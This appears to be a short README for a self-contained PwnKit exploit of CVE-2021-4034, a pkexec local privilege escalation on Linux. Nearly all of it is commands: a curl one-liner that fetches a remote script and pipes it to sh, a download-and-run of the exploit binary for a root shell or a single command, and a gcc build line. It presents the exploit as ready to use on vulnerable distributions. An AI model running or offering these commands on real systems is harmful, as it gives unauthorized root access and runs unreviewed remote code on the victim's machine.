Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
sh -c "$(curl -fsSL https://raw.githubusercontent.com/cdrclbrs/pwnkit/main/PwnKit.sh)"
curl -fsSL https://raw.githubusercontent.com/cdrclbrs/pwnkit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
Running the exploit against patched versions will yield the following output.
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC